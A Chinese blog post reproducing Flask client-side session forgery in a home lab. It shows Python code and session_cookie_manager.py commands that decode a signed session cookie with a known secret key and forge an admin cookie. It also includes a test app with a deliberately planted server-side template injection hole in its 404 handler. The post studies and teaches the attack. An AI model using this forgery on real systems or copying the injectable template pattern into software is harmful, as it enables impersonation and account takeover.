前几天看p牛的文章,学习了一波关于客户端session的操作,文末提到了密钥泄露,进一步可能造成身份伪造或者反序列化漏洞,于是自己搭了个flask环境做一下伪造身份的复现并做一下记录。
#0x01 什么是客户端session
对于我们熟悉的其它web开发环境,大部分对于session的处理都是将session写入服务器本地一个文件,然后在cookie里设置一个sessionId的字段来区分不同用户(常常是'/tmp/sess_'+sessionID),这一类就是在学校里学到的session保存在服务端,cookie保存在客户端的那钟服务端session。
然而,有些语言本身并不带有良好的session存储机制,于是采用其它的方法去对session进行处理,比如Django默认将session存在数据库里(刚知道=。=),而轻量的flask对数据库操作的框架也没有,选择了将session整个的存到cookie里(当然是加密后的),所以叫做客户端session。
#0x02 flask对session的处理
sessions.py:
def get_signing_serializer(self, app): if not app.secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(app.secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def open_session(self, app, request): s = self.get_signing_serializer(app) if s is None: return None val = request.cookies.get(app.session_cookie_name) if not val: return self.session_class() max_age = total_seconds(app.permanent_session_lifetime) try: data = s.loads(val, max_age=max_age) return self.session_class(data) except BadSignature: return self.session_class() def save_session(self, app, session, response): domain = self.get_cookie_domain(app) path = self.get_cookie_path(app) # If the session is modified to be empty, remove the cookie. # If the session is empty, return without setting the cookie. if not session: if session.modified: response.delete_cookie( app.session_cookie_name, domain=domain, path=path ) return # Add a "Vary: Cookie" header if the session was accessed at all. if session.accessed: response.vary.add('Cookie') if not self.should_set_cookie(app, session): return httponly = self.get_cookie_httponly(app) secure = self.get_cookie_secure(app) samesite = self.get_cookie_samesite(app) expires = self.get_expiration_time(app, session) val = self.get_signing_serializer(app).dumps(dict(session)) response.set_cookie( app.session_cookie_name, val, expires=expires, httponly=httponly, domain=domain, path=path, secure=secure, samesite=samesite )
其中open和save分别对应着session的读取和写入,会打开一个URLSafeTimedSerializer对象,调取它的loads或是dumps方法,URLSafeTimedSerializer继承了URLSafeSerializerMixin和TimedSerializer,包含了一些序列化处理。
在默认情况下,除了app.secret_key的值是未知的,其它的参数都是固定好的,如果项目使用了session机制,secret_key字段是被强制要求设定的,可以通过在配置文件里写入固定字符串或启动时随机生成来获得,假如攻击者通过任意文件读取或其它手段拿到了项目的secret_key,那么完全有可能解密和伪造cookie来控制用户身份,进而做一些不可描述的事情。
例如如下代码:
from itsdangerous import * import hashlib from flask.json.tag import TaggedJSONSerializer secret_key='f9cb5b2f-b670-4584-aad4-3e0603e011fe' salt='cookie-session' serializer=TaggedJSONSerializer() signer_kwargs=dict(key_derivation='hmac',digest_method=hashlib.sha1) sign_cookie='eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XAquJg.AUEZAdrYhYCk3pg4iYy_NIpfpD0' val = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) data= val.loads(sign_cookie) print data #{u'username': u'test'} crypt= val.dumps({'username': 'admin'}) print crypt
#0x03 flask的身份伪造复现
测试用的代码比较简单。
main.py:
1 # coding:utf8 2 3 import uuid 4 from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string 5 6 app = Flask(__name__) 7 app.config['SECRET_KEY']=str(uuid.uuid4()) 8 9 @app.route('/') 10 def index(): 11 app.logger.info(request.cookies) 12 13 try: 14 username=session['username'] 15 return render_template("index.html",username=username) 16 except Exception,e: 17 18 return """<form action="%s" method='post'> 19 <input type="text" name="username" required> 20 <input type="password" name="password" required> 21 <input type="submit" value="登录"> 22 </form>""" %url_for("login") 23 24 25 @app.route("/login/", methods=['POST']) 26 def login(): 27 username = request.form.get("username") 28 password = request.form.get("password") 29 app.logger.info(username) 30 if username.strip(): 31 if username=="admin" and password!=str(uuid.uuid4()): 32 return "login failed" 33 app.logger.info(url_for('index')) 34 resp = make_response(redirect(url_for("index"))) 35 session['username']=username 36 return resp 37 else: 38 return "login failed" 39 40 @app.errorhandler(404) 41 def page_not_found(e): 42 template=''' 43 {%% block body %%} 44 <div class="center-content error"> 45 <h1>Oops! That page doesn't exist.</h1> 46 <h3>%s</h3> 47 </div> 48 {%% endblock %%} 49 '''%(request.url) 50 return render_template_string(template),404 51 52 @app.route("/logout") 53 def logout(): 54 resp = make_response(redirect(url_for("index"))) 55 session.pop('username') 56 return resp 57 58 if __name__ == "__main__": 59 app.run(host="0.0.0.0", port=9999, debug=True)
templates/index.html:
<!DOCTYPE html> <html> <body> username: {{ username }}, <a href="{{ url_for('logout') }}">logout</a> </body> </html>
主要实现了一个session实现的登录操作,并特意留下了一个404页面的ssti(关于flask的ctf比赛中常常会出现,据说开发人员经常会贪图省事,不去单独创建模板文件而使用这样的模板字符串),可能还有其它bug。
登录会显示用户名,正常情况下,admin用户是无法登录的。
利用404页面的ssti读取内置变量,还有其它一些常用方法可以参考:https://blog.csdn.net/qq_33020901/article/details/83036927
我之前登录的cookie是:Cookie: session=eyJ1c2VybmFtZSI6ImhlaGUifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8
使用session_cookie_manager.py解开得到用户信息。
[root@192 temp]# python session_cookie_manager.py decode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -c "eyJ1c2VybmFtZSI6ImhlaG UifQ.XApTkw.zcIUPrpo71h_doQs_GKtDlLesP8"
{u'username': u'hehe'}
伪造admin用户身份:
[root@192 temp]# python session_cookie_manager.py encode -s "a8bc2e85-d628-40f0-a56d-a86b19b4c1f9" -t "{u'username': u'admin' }"
eyJ1c2VybmFtZSI6ImFkbWluIn0.XArr2w.O2zQzR4fFLCrGhDLjWol8-mLp7E
提交生成的cookie:
直接用admin身份成功登录。:)
#0x04感想
作为一个程序员,在需要开发某些功能或实现某些服务时经常会把别人实现好的代码粗略看看就拿来用了,这篇文章教会我在特定情况下,如果对代码的实现不够了解,某些不是漏洞的机密配置不做修改,就会在你毫不知情的情况下,成为给他人打开防御大门的内奸,关键是你出了问题还不知道问题根源在哪里==。
参考:
https://www.leavesongs.com/PENETRATION/client-session-security.html
https://blog.csdn.net/qq_33850304/article/details/84726296